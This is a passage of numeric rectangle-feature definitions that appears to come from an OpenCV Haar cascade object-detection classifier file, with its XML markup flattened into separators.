10 2. + <_> + 11 11 2 10 2. + <_> + + <_> + 0 1 6 9 -1. + <_> + 2 1 2 9 3. + <_> + + <_> + 3 7 19 4 -1. + <_> + 3 9 19 2 2. + <_> + + <_> + 7 14 9 6 -1. + <_> + 7 16 9 2 3. + <_> + + <_> + 17 1 7 6 -1. + <_> + 17 4 7 3 2. + <_> + + <_> + 5 0 14 8 -1. + <_> + 5 4 14 4 2. + <_> + + <_> + 16 1 8 6 -1. + <_> + 16 4 8 3 2. + <_> + + <_> + 0 1 8 6 -1. + <_> + 0 4 8 3 2. + <_> + + <_> + 6 0 18 4 -1. + <_> + 15 0 9 2 2. + <_> + 6 2 9 2 2. + <_> + + <_> + 0 14 9 6 -1. + <_> + 0 16 9 2 3. + <_> + + <_> + 3 7 18 8 -1. + <_> + 9 7 6 8 3. + <_> + + <_> + 2 11 6 9 -1. + <_> + 4 11 2 9 3. + <_> + + <_> + 10 5 6 9 -1. + <_> + 12 5 2 9 3. + <_> + + <_> + 10 6 4 18 -1. + <_> + 10 6 2 9 2. + <_> + 12 15 2 9 2. + <_> + + <_> + 11 1 4 20 -1. + <_> + 13 1 2 10 2. + <_> + 11 11 2 10 2. + <_> + + <_> + 9 1 4 20 -1. + <_> + 9 1 2 10 2. + <_> + 11 11 2 10 2. + <_> + + <_> + 5 9 18 6 -1. + <_> + 14 9 9 3 2. + <_> + 5 12 9 3 2. + <_> + + <_> + 6 4 6 9 -1. + <_> + 8 4 2 9 3. + <_> + + <_> + 10 16 8 6 -1. + <_> + 10 16 4 6 2. + <_> + + <_> + 0 0 18 8 -1. + <_> + 0 0 9 4 2. + <_> + 9 4 9 4 2. + <_> + + <_> + 6 5 14 12 -1. + <_> + 13 5 7 6 2. + <_> + 6 11 7 6 2. + <_> + + <_> + 4 3 15 7 -1. + <_> + 9 3 5 7 3. + <_> + + <_> + 14 12 10 6 -1. + <_> + 14 14 10 2 3. + <_> + + <_> + 0 11 4 10 -1. + <_> + 0 16 4 5 2. + <_> + + <_> + 1 10 22 3 -1. + <_> + 1 11 22 1 3. + <_> + + <_> + 8 9 6 10 -1. + <_> + 10 9 2 10 3. + <_> + + <_> + 13 2 6 12 -1. + <_> + 16 2 3 6 2. + <_> + 13 8 3 6 2. + <_> + + <_> + 10 6 4 18 -1. + <_> + 10 6 2 9 2. + <_> + 12 15 2 9 2. + <_> + + <_> + 7 8 10 16 -1. + <_> + 12 8 5 8 2. + <_> + 7 16 5 8 2. + <_> + + <_> + 8 1 8 12 -1. + <_> + 8 1 4 6 2. + <_> + 12 7 4 6 2. + <_> + + <_> + 7 1 12 14 -1. + <_> + 13 1 6 7 2. + <_> + 7 8 6 7 2. + <_> + + <_> + 2 14 12 6 -1. + <_> + 2 16 12 2 3. + <_> + + <_> + 11 16 6 6 -1. + <_> + 11 19 6 3 2. + <_> + + <_> + 7 16 6 6 -1. + <_> + 7 19 6 3 2. + <_> + + <_> + 13 4 4 10 -1. + <_> + 13 4 2 10 2. + <_> + + <_> + 0 19 19 3 -1. + <_> + 0 20 19 1 3. + <_> + + <_> + 12 8 6 8 -1. + <_> + 12 12 6 4 2. + <_> + + <_> + 8 1 8 22 -1. + <_> + 8 12 8 11 2. + <_> + + <_> + 12 8 6 8 -1. + <_> + 12 12 6 4 2. + <_> + + <_> + 6 8 6 8 -1. + <_> + 6 12 6 4 2. + <_> + + <_> + 14 5 6 9 -1. + <_> + 14 8 6 3 3. + <_> + + <_> + 0 6 24 4 -1. + <_> + 0 8 24 2 2. + <_> + + <_> + 14 12 10 6 -1. + <_> + 14 14 10 2 3. + <_> + + <_> + 0 12 10 6 -1. + <_> + 0 14 10 2 3. + <_> + + <_> + 4 6 19 3 -1. + <_> + 4 7 19 1 3. + <_> + + <_> + 1 6 19 3 -1. + <_> + 1 7 19 1 3. + <_> + + <_> + 4 0 16 9 -1. + <_> + 4 3 16 3 3. + <_> + + <_> + 0 1 24 5 -1. + <_> + 8 1 8 5 3. + <_> + + <_> + 3 6 6 15 -1. + <_> + 3 11 6 5 3. + <_> + + <_> + 9 6 6 9 -1. + <_> + 11 6 2 9 3. + <_> + + <_> + 0 17 18 3 -1. + <_> + 0 18 18 1 3. + <_> + + <_> + 6 22 18 2 -1. + <_> + 6 23 18 1 2. + <_> + + <_> + 2 12 6 9 -1. + <_> + 2 15 6 3 3. + <_> + + <_> + 18 12 6 9 -1. + <_> + 18 15 6 3 3. + <_> + + <_> + 0 12 6 9 -1. + <_> + 0 15 6 3 3. + <_> + + <_> + 11 14 4 10 -1. + <_> + 11 19 4 5 2. + <_> + + <_> + 9 6 6 16 -1. + <_> + 9 14 6 8 2. + <_> + + <_> + 7 7 10 10 -1. + <_> + 7 12 10 5 2. + <_> + + <_> + 1 3 6 13 -1. + <_> + 3 3 2 13 3. + <_> + + <_> + 18 1 6 13 -1. + <_> + 18 1 3 13 2. + <_> + + <_> + 5 1 6 9 -1. + <_> + 7 1 2 9 3. + <_> + + <_> + 18 2 6 11 -1. + <_> + 18 2 3 11 2. + <_> + + <_> + 0 2 6 11 -1. + <_> + 3 2 3 11 2. + <_> + + <_> + 9 12 15 6 -1. + <_> + 9 14 15 2 3. + <_> + + <_> + 2 2 20 3 -1. + <_> + 2 3 20 1 3. + <_> + + <_> + 10 6 4 9 -1. + <_> + 10 6 2 9 2. + <_> + + <_> + 5 6 12 14 -1. + <_> + 5 6 6 7 2. + <_> + 11 13 6 7 2. + <_> + + <_> + 9 0 6 9 -1. + <_> + 11 0 2 9 3. + <_> + + <_> + 7 0 9 6 -1. + <_> + 10 0 3 6 3. + <_> + + <_> + 10 6 6 9 -1. + <_> + 12 6 2 9 3. + <_> + + <_> + 4 1 12 20 -1. + <_> + 4 1 6 10 2. + <_> + 10 11 6 10 2. + <_> + + <_> + 6 7 18 3 -1. + <_> + 6 7 9 3 2. + <_> + + <_> + 0 7 18 3 -1. + <_> + 9 7 9 3 2. + <_> + + <_> + 3 20 18 3 -1. + <_> + 9 20 6 3 3. + <_> + + <_> + 9 6 6 9 -1. + <_> + 11 6 2 9 3. + <_> + + <_> + 6 2 12 15 -1. + <_> + 10 2 4 15 3. + <_> + + <_> + 2 3 18 3 -1. + <_> + 2 4 18 1 3. + <_> + + <_> + 19 4 4 18 -1. + <_> + 21 4 2 9 2. + <_> + 19 13 2 9 2. + <_> + + <_> + 0 1 19 3 -1. + <_> + 0 2 19 1 3. + <_> + + <_> + 5 0 15 4 -1. + <_> + 5 2 15 2 2. + <_> + + <_> + 5 2 14 5 -1. + <_> + 12 2 7 5 2. + <_> + + <_> + 1 2 22 14 -1. + <_> + 1 2 11 14 2. + <_> + + <_> + 8 15 6 9 -1. + <_> + 10 15 2 9 3. + <_> + + <_> + 6 17 18 3 -1. + <_> + 6 18 18 1 3. + <_> + + <_> + 9 6 3 18 -1. + <_> + 9 12 3 6 3. + <_> + + <_> + 2 0 20 3 -1. + <_> + 2 1 20 1 3. + <_> + + <_> + 5 4 5 12 -1. + <_> + 5 8 5 4 3. + <_> + + <_> + 8 6 12 5 -1. + <_> + 12 6 4 5 3. + <_> + + <_> + 9 12 6 12 -1. + <_> + 9 12 3 6 2. + <_> + 12 18 3 6 2. + <_> + + <_> + 14 14 8 10 -1. + <_> + 18 14 4 5 2. + <_> + 14 19 4 5 2. + <_> + + <_> + 2 14 8 10 -1. + <_> + 2 14 4 5 2. + <_> + 6 19 4 5 2. + <_> + + <_> + 10 18 12 6 -1. + <_> + 16 18 6 3 2. + <_> + 10 21 6 3 2. + <_> + + <_> + 1 3 6 9 -1. + <_> + 1 6 6 3 3. + <_> + + <_> + 11 3 3 20 -1. + <_> + 12 3 1 20 3. + <_> + + <_> + 4 6 14 6 -1. + <_> + 4 6 7 3 2. + <_> + 11 9 7 3 2. + <_> + + <_> + 6 5 12 13 -1. + <_> + 10 5 4 13 3. + <_> + + <_> + 5 4 4 15 -1. + <_> + 5 9 4 5 3. + <_> + + <_> + 9 16 15 4 -1. + <_> + 14 16 5 4 3. + <_> + + <_> + 7 8 6 14 -1. + <_> + 7 8 3 7 2. + <_> + 10 15 3 7 2. + <_> + + <_> + 7 6 10 6 -1. + <_> + 7 8 10 2 3. + <_> + + <_> + 2 5 18 3 -1. + <_> + 2 6 18 1 3. + <_> + + <_> + 5 1 15 8 -1. + <_> + 5 5 15 4 2. + <_> + + <_> + 7 1 8 18 -1. + <_> + 7 10 8 9 2. + <_> + + <_> + 0 10 24 3 -1. + <_> + 0 11 24 1 3. + <_> + + <_> + 0 2 6 13 -1. + <_> + 2 2 2 13 3. + <_> + + <_> + 16 0 8 10 -1. + <_> + 20 0 4 5 2. + <_> + 16 5 4 5 2. + <_> + + <_> + 5 1 10 9 -1. + <_> + 5 4 10 3 3. + <_> + + <_> + 5 6 18 3 -1. + <_> + 5 7 18 1 3. + <_> + + <_> + 0 1 24 3 -1. + <_> + 0 2 24 1 3. + <_> + + <_> + 11 4 6 11 -1. + <_> + 13 4 2 11 3. + <_> + + <_> + 0 0 8 10 -1. + <_> + 0 0 4 5 2. + <_> + 4 5 4 5 2. + <_> + + <_> + 4 16 18 3 -1. + <_> + 4 17 18 1 3. + <_> + + <_> + 2 16 18 3 -1. + <_> + 2 17 18 1 3. + <_> + + <_> + 3 0 18 10 -1. + <_> + 12 0 9 5 2. + <_> + 3 5 9 5 2. + <_> + + <_> + 2 3 20 21 -1. + <_> + 12 3 10 21 2. + <_> + + <_> + 6 7 14 3 -1. + <_> + 6 7 7 3 2. + <_> + + <_> + 0 9 12 6 -1. + <_> + 0 9 6 3 2. + <_> + 6 12 6 3 2. + <_> + + <_> + 3 14 21 4 -1. + <_> + 10 14 7 4 3. + <_> + + <_> + 0 14 21 4 -1. + <_> + 7 14 7 4 3. + <_> + + <_> + 5 21 18 3 -1. + <_> + 11 21 6 3 3. + <_> + + <_> + 1 21 18 3 -1. + <_> + 7 21 6 3 3. + <_> + + <_> + 19 4 4 18 -1. + <_> + 21 4 2 9 2. + <_> + 19 13 2 9 2. + <_> + + <_> + 3 7 18 3 -1. + <_> + 3 8 18 1 3. + <_> + + <_> + 19 4 4 18 -1. + <_> + 21 4 2 9 2. + <_> + 19 13 2 9 2. + <_> + + <_> + 7 15 10 6 -1. + <_> + 7 17 10 2 3. + <_> + + <_> + 9 13 11 9 -1. + <_> + 9 16 11 3 3. + <_> + + <_> + 0 6 4 10 -1. + <_> + 0 11 4 5 2. + <_> + + <_> + 15 16 9 6 -1. + <_> + 15 18 9 2 3. + <_> + + <_> + 1 5 4 18 -1. + <_> + 1 5 2 9 2. + <_> + 3 14 2 9 2. + <_> + + <_> + 9 8 8 10 -1. + <_> + 13 8 4 5 2. + <_> + 9 13 4 5 2. + <_> + + <_> + 7 8 8 10 -1. + <_> + 7 8 4 5 2. + <_> + 11 13 4 5 2. + <_> + + <_> + 9 8 12 5 -1. + <_> + 13 8 4 5 3. + <_> + + <_> + 7 8 9 7 -1. + <_> + 10 8 3 7 3. + <_> + + <_> + 9 8 12 5 -1. + <_> + 13 8 4 5 3. + <_> + + <_> + 7 6 9 7 -1. + <_> + 10 6 3 7 3. + <_> + + <_> + 9 8 12 5 -1. + <_> + 13 8 4 5 3. + <_> + + <_> + 10 5 4 18 -1. + <_> + 10 11 4 6 3. + <_> + + <_> + 5 5 14 12 -1. + <_> + 5 11 14 6 2. + <_> + + <_> + 0 1 11 4 -1. + <_> + 0 3 11 2 2. + <_> + + <_> + 9 10 6 10 -1. + <_> + 11 10 2 10 3. + <_> + + <_> + 2 17 11 6 -1. + <_> + 2 19 11 2 3. + <_> + + <_> + 15 16 9 6 -1. + <_> + 15 18 9 2 3. + <_> + + <_> + 1 10 18 2 -1. + <_> + 1 11 18 1 2. + <_> + + <_> + 6 4 12 13 -1. + <_> + 10 4 4 13 3. + <_> + + <_> + 0 18 18 3 -1. + <_> + 0 19 18 1 3. + <_> + + <_> + 6 18 18 3 -1. + <_> + 6 19 18 1 3. + <_> + + <_> + 0 16 9 6 -1. + <_> + 0 18 9 2 3. + <_> + + <_> + 13 15 9 6 -1. + <_> + 13 17 9 2 3. + <_> + + <_> + 2 15 9 6 -1. + <_> + 2 17 9 2 3. + <_> + + <_> + 13 1 6 16 -1. + <_> + 13 1 3 16 2. + <_> + + <_> + 5 1 6 16 -1. + <_> + 8 1 3 16 2. + <_> + + <_> + 11 5 6 10 -1. + <_> + 13 5 2 10 3. + <_> + + <_> + 7 5 6 10 -1. + <_> + 9 5 2 10 3. + <_> + + <_> + 10 0 6 24 -1. + <_> + 12 0 2 24 3. + <_> + + <_> + 3 4 4 20 -1. + <_> + 3 4 2 10 2. + <_> + 5 14 2 10 2. + <_> + + <_> + 14 0 6 9 -1. + <_> + 16 0 2 9 3. + <_> + + <_> + 4 0 6 9 -1. + <_> + 6 0 2 9 3. + <_> + + <_> + 4 5 18 5 -1. + <_> + 10 5 6 5 3. + <_> + + <_> + 5 6 6 9 -1. + <_> + 7 6 2 9 3. + <_> + + <_> + 7 2 15 8 -1. + <_> + 12 2 5 8 3. + <_> + + <_> + 2 2 15 8 -1. + <_> + 7 2 5 8 3. + <_> + + <_> + 10 0 4 9 -1. + <_> + 10 0 2 9 2. + <_> + + <_> + 3 4 6 12 -1. + <_> + 3 4 3 6 2. + <_> + 6 10 3 6 2. + <_> + + <_> + 16 0 8 18 -1. + <_> + 16 0 4 18 2. + <_> + + <_> + 0 0 8 18 -1. + <_> + 4 0 4 18 2. + <_> + + <_> + 0 7 24 6 -1. + <_> + 0 9 24 2 3. + <_> + + <_> + 4 7 14 3 -1. + <_> + 11 7 7 3 2. + <_> + + <_> + 10 8 8 15 -1. + <_> + 10 8 4 15 2. + <_> + + <_> + 7 0 10 14 -1. + <_> + 12 0 5 14 2. + <_> + + <_> + 13 10 8 10 -1. + <_> + 17 10 4 5 2. + <_> + 13 15 4 5 2. + <_> + + <_> + 3 0 4 9 -1. + <_> + 5 0 2 9 2. + <_> + + <_> + 16 1 6 8 -1. + <_> + 16 1 3 8 2. + <_> + + <_> + 2 1 6 8 -1. + <_> + 5 1 3 8 2. + <_> + + <_> + 3 6 18 12 -1. + <_> + 3 10 18 4 3. + <_> + + <_> + 4 12 16 4 -1. + <_> + 4 14 16 2 2. + <_> + + <_> + 4 9 16 15 -1. + <_> + 4 14 16 5 3. + <_> + + <_> + 3 10 8 10 -1. + <_> + 3 10 4 5 2. + <_> + 7 15 4 5 2. + <_> + + <_> + 8 18 16 6 -1. + <_> + 16 18 8 3 2. + <_> + 8 21 8 3 2. + <_> + + <_> + 2 16 12 5 -1. + <_> + 6 16 4 5 3. + <_> + + <_> + 14 14 9 4 -1. + <_> + 14 16 9 2 2. + <_> + + <_> + 7 14 9 6 -1. + <_> + 7 16 9 2 3. + <_> + + <_> + 4 10 16 12 -1. + <_> + 4 14 16 4 3. + <_> + + <_> + 0 13 19 6 -1. + <_> + 0 15 19 2 3. + <_> + + <_> + 10 13 9 6 -1. + <_> + 10 15 9 2 3. + <_> + + <_> + 5 0 3 23 -1. + <_> + 6 0 1 23 3. + <_> + + <_> + 0 8 24 6 -1. + <_> + 0 10 24 2 3. + <_> + + <_> + 0 5 5 12 -1. + <_> + 0 9 5 4 3. + <_> + + <_> + 3 0 19 18 -1. + <_> + 3 9 19 9 2. + <_> + + <_> + 9 11 6 12 -1. + <_> + 9 11 3 6 2. + <_> + 12 17 3 6 2. + <_> + + <_> + 0 5 24 8 -1. + <_> + 12 5 12 4 2. + <_> + 0 9 12 4 2. + <_> + + <_> + 6 18 9 4 -1. + <_> + 6 20 9 2 2. + <_> + + <_> + 8 8 10 6 -1. + <_> + 8 10 10 2 3. + <_> + + <_> + 2 7 20 3 -1. + <_> + 2 8 20 1 3. + <_> + + <_> + 12 0 7 20 -1. + <_> + 12 10 7 10 2. + <_> + + <_> + 5 0 7 20 -1. + <_> + 5 10 7 10 2. + <_> + + <_> + 14 2 2 18 -1. + <_> + 14 11 2 9 2. + <_> + + <_> + 5 8 10 12 -1. + <_> + 10 8 5 12 2. + <_> + + <_> + 6 9 12 8 -1. + <_> + 12 9 6 4 2. + <_> + 6 13 6 4 2. + <_> + + <_> + 7 7 3 14 -1. + <_> + 7 14 3 7 2. + <_> + + <_> + 11 2 12 16 -1. + <_> + 17 2 6 8 2. + <_> + 11 10 6 8 2. + <_> + + <_> + 7 0 6 9 -1. + <_> + 9 0 2 9 3. + <_> + + <_> + 13 14 9 4 -1. + <_> + 13 16 9 2 2. + <_> + + <_> + 0 12 22 4 -1. + <_> + 0 12 11 2 2. + <_> + 11 14 11 2 2. + <_> + + <_> + 1 12 22 6 -1. + <_> + 12 12 11 3 2. + <_> + 1 15 11 3 2. + <_> + + <_> + 6 6 9 6 -1. + <_> + 9 6 3 6 3. + <_> + + <_> + 10 0 4 9 -1. + <_> + 10 0 2 9 2. + <_> + + <_> + 3 8 18 7 -1. + <_> + 9 8 6 7 3. + <_> + + <_> + 0 6 24 6 -1. + <_> + 0 8 24 2 3. + <_> + + <_> + 0 11 24 10 -1. + <_> + 8 11 8 10 3. + <_> + + <_> + 3 3 18 21 -1. + <_> + 9 3 6 21 3. + <_> + + <_> + 7 12 4 10 -1. + <_> + 9 12 2 10 2. + <_> + + <_> + 10 16 10 8 -1. + <_> + 15 16 5 4 2. + <_> + 10 20 5 4 2. + <_> + + <_> + 8 6 6 9 -1. + <_> + 10 6 2 9 3. + <_> + + <_> + 12 10 6 12 -1. + <_> + 15 10 3 6 2. + <_> + 12 16 3 6 2. + <_> + + <_> + 6 10 6 12 -1. + <_> + 6 10 3 6 2. + <_> + 9 16 3 6 2. + <_> + + <_> + 16 12 6 12 -1. + <_> + 19 12 3 6 2. + <_> + 16 18 3 6 2. + <_> + + <_> + 2 12 6 12 -1. + <_> + 2 12 3 6 2. + <_> + 5 18 3 6 2. + <_> + + <_> + 10 15 6 9 -1. + <_> + 12 15 2 9 3. + <_> + + <_> + 8 15 6 9 -1. + <_> + 10 15 2 9 3. + <_> + + <_> + 14 20 10 4 -1. + <_> + 14 20 5 4 2. + <_> + + <_> + 0 20 10 4 -1. + <_> + 5 20 5 4 2. + <_> + + <_> + 11 17 9 6 -1. + <_> + 11 19 9 2 3. + <_> + + <_> + 3 2 14 4 -1. + <_> + 3 4 14 2 2. + <_> + + <_> + 10 1 10 4 -1. + <_> + 10 3 10 2 2. + <_> + + <_> + 0 15 10 4 -1. + <_> + 5 15 5 4 2. + <_> + + <_> + 19 2 3 19 -1. + <_> + 20 2 1 19 3. + <_> + + <_> + 4 12 9 8 -1. + <_> + 7 12 3 8 3. + <_> + + <_> + 4 7 5 12 -1. + <_> + 4 11 5 4 3. + <_> + + <_> + 0 1 24 3 -1. + <_> + 8 1 8 3 3. + <_> + + <_> + 6 8 12 4 -1. + <_> + 6 10 12 2 2. + <_> + + <_> + 19 3 4 10 -1. + <_> + 19 3 2 10 2. + <_> + + <_> + 0 6 9 6 -1. + <_> + 3 6 3 6 3. + <_> + + <_> + 18 0 6 22 -1. + <_> + 20 0 2 22 3. + <_> + + <_> + 0 0 6 22 -1. + <_> + 2 0 2 22 3. + <_> + + <_> + 5 15 19 3 -1. + <_> + 5 16 19 1 3. + <_> + + <_> + 10 7 4 15 -1. + <_> + 10 12 4 5 3. + <_> + + <_> + 9 6 6 9 -1. + <_> + 11 6 2 9 3. + <_> + + <_> + 0 21 18 3 -1. + <_> + 0 22 18 1 3. + <_> + + <_> + 7 3 10 15 -1. + <_> + 7 8 10 5 3. + <_> + + <_> + 1 7 18 3 -1. + <_> + 1 8 18 1 3. + <_> + + <_> + 8 2 9 6 -1. + <_> + 11 2 3 6 3. + <_> + + <_> + 0 10 24 14 -1. + <_> + 0 17 24 7 2. + <_> + + <_> + 13 9 8 10 -1. + <_> + 17 9 4 5 2. + <_> + 13 14 4 5 2. + <_> + + <_> + 10 5 4 9 -1. + <_> + 12 5 2 9 2. + <_> + + <_> + 13 9 8 10 -1. + <_> + 17 9 4 5 2. + <_> + 13 14 4 5 2. + <_> + + <_> + 7 11 10 10 -1. + <_> + 7 11 5 5 2. + <_> + 12 16 5 5 2. + <_> + + <_> + 4 13 18 4 -1. + <_> + 13 13 9 2 2. + <_> + 4 15 9 2 2. + <_> + + <_> + 0 0 19 2 -1. + <_> + 0 1 19 1 2. + <_> + + <_> + 0 18 24 6 -1. + <_> + 8 18 8 6 3. + <_> + + <_> + 6 4 8 16 -1. + <_> + 6 12 8 8 2. + <_> + + <_> + 7 8 10 4 -1. + <_> + 7 10 10 2 2. + <_> + + <_> + 0 3 6 9 -1. + <_> + 0 6 6 3 3. + <_> + + <_> + 13 15 7 9 -1. + <_> + 13 18 7 3 3. + <_> + + <_> + 3 18 12 6 -1. + <_> + 3 18 6 3 2. + <_> + 9 21 6 3 2. + <_> + + <_> + 12 14 6 9 -1. + <_> + 12 17 6 3 3. + <_> + + <_> + 2 15 15 8 -1. + <_> + 2 19 15 4 2. + <_> + + <_> + 9 6 6 16 -1. + <_> + 9 14 6 8 2. + <_> + + <_> + 6 6 7 12 -1. + <_> + 6 10 7 4 3. + <_> + + <_> + 14 6 6 9 -1. + <_> + 14 9 6 3 3. + <_> + + <_> + 5 14 6 9 -1. + <_> + 5 17 6 3 3. + <_> + + <_> + 10 8 6 9 -1. + <_> + 12 8 2 9 3. + <_> + + <_> + 6 6 4 18 -1. + <_> + 6 6 2 9 2. + <_> + 8 15 2 9 2. + <_> + + <_> + 14 9 6 12 -1. + <_> + 17 9 3 6 2. + <_> + 14 15 3 6 2. + <_> + + <_> + 4 9 6 12 -1. + <_> + 4 9 3 6 2. + <_> + 7 15 3 6 2. + <_> + + <_> + 14 15 9 6 -1. + <_> + 14 17 9 2 3. + <_> + + <_> + 0 20 18 4 -1. + <_> + 0 20 9 2 2. + <_> + 9 22 9 2 2. + <_> + + <_> + 13 18 9 6 -1. + <_> + 13 20 9 2 3. + <_> + + <_> + 2 18 9 6 -1. + <_> + 2 20 9 2 3. + <_> + + <_> + 6 16 18 3 -1. + <_> + 6 17 18 1 3. + <_> + + <_> + 0 16 18 3 -1. + <_> + 0 17 18 1 3. + <_> + + <_> + 19 2 4 22 -1. + <_> + 21 2 2 11 2. + <_> + 19 13 2 11 2. + <_> + + <_> + 1 2 4 22 -1. + <_> + 1 2 2 11 2. + <_> + 3 13 2 11 2. + <_> + + <_> + 15 0 2 24 -1. + <_> + 15 0 1 24 2. + <_> + + <_> + 3 20 16 4 -1. + <_> + 11 20 8 4 2. + <_> + + <_> + 11 6 4 18 -1. + <_> + 13 6 2 9 2. + <_> + 11 15 2 9 2. + <_> + + <_> + 7 9 10 14 -1. + <_> + 7 9 5 7 2. + <_> + 12 16 5 7 2. + <_> + + <_> + 14 6 6 9 -1. + <_> + 14 9 6 3 3. + <_> + + <_> + 3 6 7 9 -1. + <_> + 3 9 7 3 3. + <_> + + <_> + 20 4 4 20 -1. + <_> + 22 4 2 10 2. + <_> + 20 14 2 10 2. + <_> + + <_> + 7 6 6 9 -1. + <_> + 7 9 6 3 3. + <_> + + <_> + 7 0 10 14 -1. + <_> + 12 0 5 7 2. + <_> + 7 7 5 7 2. + <_> + + <_> + 2 1 18 6 -1. + <_> + 11 1 9 6 2. + <_> + + <_> + 15 0 2 24 -1. + <_> + 15 0 1 24 2. + <_> + + <_> + 7 0 2 24 -1. + <_> + 8 0 1 24 2. + <_> + + <_> + 13 12 6 7 -1. + <_> + 13 12 3 7 2. + <_> + + <_> + 5 12 6 7 -1. + <_> + 8 12 3 7 2. + <_> + + <_> + 3 5 18 19 -1. + <_> + 9 5 6 19 3. + <_> + + <_> + 5 6 9 6 -1. + <_> + 8 6 3 6 3. + <_> + + <_> + 9 5 9 6 -1. + <_> + 12 5 3 6 3. + <_> + + <_> + 3 16 10 8 -1. + <_> + 3 16 5 4 2. + <_> + 8 20 5 4 2. + <_> + + <_> + 19 8 5 15 -1. + <_> + 19 13 5 5 3. + <_> + + <_> + 0 8 5 15 -1. + <_> + 0 13 5 5 3. + <_> + + <_> + 20 4 4 20 -1. + <_> + 22 4 2 10 2. + <_> + 20 14 2 10 2. + <_> + + <_> + 0 4 4 20 -1. + <_> + 0 4 2 10 2. + <_> + 2 14 2 10 2. + <_> + + <_> + 7 7 10 4 -1. + <_> + 7 7 5 4 2. + <_> + + <_> + 4 19 14 4 -1. + <_> + 11 19 7 4 2. + <_> + + <_> + 10 11 12 3 -1. + <_> + 10 11 6 3 2. + <_> + + <_> + 0 1 24 3 -1. + <_> + 0 2 24 1 3. + <_> + + <_> + 7 2 14 20 -1. + <_> + 14 2 7 10 2. + <_> + 7 12 7 10 2. + <_> + + <_> + 0 13 6 9 -1. + <_> + 2 13 2 9 3. + <_> + + <_> + 13 0 4 19 -1. + <_> + 13 0 2 19 2. + <_> + + <_> + 1 11 14 3 -1. + <_> + 8 11 7 3 2. + <_> + + <_> + 7 1 16 20 -1. + <_> + 15 1 8 10 2. + <_> + 7 11 8 10 2. + <_> + + <_> + 0 10 21 9 -1. + <_> + 7 10 7 9 3. + <_> + + <_> + 6 19 15 5 -1. + <_> + 11 19 5 5 3. + <_> + + <_> + 8 10 6 6 -1. + <_> + 11 10 3 6 2. + <_> + + <_> + 7 1 16 20 -1. + <_> + 15 1 8 10 2. + <_> + 7 11 8 10 2. + <_> + + <_> + 1 1 16 20 -1. + <_> + 1 1 8 10 2. + <_> + 9 11 8 10 2. + <_> + + <_> + 16 4 3 12 -1. + <_> + 16 10 3 6 2. + <_> + + <_> + 5 4 3 12 -1. + <_> + 5 10 3 6 2. + <_> + + <_> + 7 6 10 8 -1. + <_> + 12 6 5 4 2. + <_> + 7 10 5 4 2. + <_> + + <_> + 4 9 6 6 -1. + <_> + 4 12 6 3 2. + <_> + + <_> + 6 5 12 4 -1. + <_> + 6 7 12 2 2. + <_> + + <_> + 9 2 5 15 -1. + <_> + 9 7 5 5 3. + <_> + + <_> + 15 0 9 6 -1. + <_> + 15 2 9 2 3. + <_> + + <_> + 6 0 11 10 -1. + <_> + 6 5 11 5 2. + <_> + + <_> + 12 7 4 12 -1. + <_> + 12 13 4 6 2. + <_> + + <_> + 7 2 9 4 -1. + <_> + 7 4 9 2 2. + <_> + + <_> + 6 0 13 6 -1. + <_> + 6 2 13 2 3. + <_> + + <_> + 10 6 4 18 -1. + <_> + 10 6 2 9 2. + <_> + 12 15 2 9 2. + <_> + + <_> + 10 8 6 9 -1. + <_> + 12 8 2 9 3. + <_> + + <_> + 3 18 10 6 -1. + <_> + 3 20 10 2 3. + <_> + + <_> + 4 14 20 3 -1. + <_> + 4 15 20 1 3. + <_> + + <_> + 2 15 9 6 -1. + <_> + 2 17 9 2 3. + <_> + + <_> + 13 0 4 19 -1. + <_> + 13 0 2 19 2. + <_> + + <_> + 7 0 4 19 -1. + <_> + 9 0 2 19 2. + <_> + + <_> + 1 4 22 2 -1. + <_> + 1 5 22 1 2. + <_> + + <_> + 0 0 9 6 -1. + <_> + 0 2 9 2 3. + <_> + + <_> + 0 0 24 18 -1. + <_> + 0 9 24 9 2. + <_> + + <_> + 3 2 16 8 -1. + <_> + 3 6 16 4 2. + <_> + + <_> + 3 6 18 6 -1. + <_> + 3 8 18 2 3. + <_> + + <_> + 3 1 6 10 -1. + <_> + 5 1 2 10 3. + <_> + + <_> + 13 0 9 6 -1. + <_> + 16 0 3 6 3. + <_> + + <_> + 2 0 9 6 -1. + <_> + 5 0 3 6 3. + <_> + + <_> + 10 2 4 15 -1. + <_> + 10 7 4 5 3. + <_> + + <_> + 6 0 7 10 -1. + <_> + 6 5 7 5 2. + <_> + + <_> + 2 2 20 4 -1. + <_> + 12 2 10 2 2. + <_> + 2 4 10 2 2. + <_> + + <_> + 2 11 19 3 -1. + <_> + 2 12 19 1 3. + <_> + + <_> + 10 8 6 9 -1. + <_> + 12 8 2 9 3. + <_> + + <_> + 8 8 6 9 -1. + <_> + 10 8 2 9 3. + <_> + + <_> + 13 8 4 9 -1. + <_> + 13 8 2 9 2. + <_> + + <_> + 3 11 9 9 -1. + <_> + 6 11 3 9 3. + <_> + + <_> + 3 9 18 5 -1. + <_> + 9 9 6 5 3. + <_> + + <_> + 2 4 2 20 -1. + <_> + 2 14 2 10 2. + <_> + + <_> + 14 17 8 6 -1. + <_> + 14 20 8 3 2. + <_> + + <_> + 3 21 18 2 -1. + <_> + 3 22 18 1 2. + <_> + + <_> + 5 4 15 6 -1. + <_> + 10 4 5 6 3. + <_> + + <_> + 2 15 12 6 -1. + <_> + 2 17 12 2 3. + <_> + + <_> + 17 8 6 9 -1. + <_> + 17 11 6 3 3. + <_> + + <_> + 2 12 20 4 -1. + <_> + 2 12 10 2 2. + <_> + 12 14 10 2 2. + <_> + + <_> + 0 17 24 6 -1. + <_> + 0 19 24 2 3. + <_> + + <_> + 7 16 9 4 -1. + <_> + 7 18 9 2 2. + <_> + + <_> + 15 1 4 22 -1. + <_> + 17 1 2 11 2. + <_> + 15 12 2 11 2. + <_> + + <_> + 5 1 4 22 -1. + <_> + 5 1 2 11 2. + <_> + 7 12 2 11 2. + <_> + + <_> + 11 13 8 9 -1. + <_> + 11 16 8 3 3. + <_> + + <_> + 6 1 6 9 -1. + <_> + 8 1 2 9 3. + <_> + + <_> + 11 4 3 18 -1. + <_> + 11 10 3 6 3. + <_> + + <_> + 5 8 12 6 -1. + <_> + 5 8 6 3 2. + <_> + 11 11 6 3 2. + <_> + + <_> + 15 7 5 8 -1. + <_> + 15 11 5 4 2. + <_> + + <_> + 4 7 5 8 -1. + <_> + 4 11 5 4 2. + <_> + + <_> + 12 6 6 12 -1. + <_> + 15 6 3 6 2. + <_> + 12 12 3 6 2. + <_> + + <_> + 6 6 6 12 -1. + <_> + 6 6 3 6 2. + <_> + 9 12 3 6 2. + <_> + + <_> + 5 9 14 8 -1. + <_> + 12 